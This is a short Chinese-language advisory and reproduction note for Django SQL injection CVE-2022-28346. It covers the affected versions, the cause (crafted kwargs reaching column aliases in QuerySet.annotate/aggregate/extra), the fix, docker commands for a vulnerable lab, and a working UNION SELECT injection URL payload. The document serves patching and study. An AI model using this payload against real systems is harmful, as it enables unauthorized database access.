Django SQL 注入漏洞 (CVE-2022-28346)
简介
Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。
影响范围
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
漏洞成因
攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。
修复方法
官方已发布安全版本,下载地址:https://www.djangoproject.com/download/
环境搭建
使用dock搭建环境
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346
漏洞复现
通过报错页面可以发现存在哪些接口
访问接口如果存在传参,同样会提示报错信息
使用报错提示的参数进行sql注入
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
参考链接
-
https://github.com/DeEpinGh0st/CVE-2022-28346
-
https://github.com/django/django/commit/2044dac5c6968441be6f534c4139bcf48c5c7e48
-
https://www.cnvd.org.cn/flaw/show/CNVD-2022-31838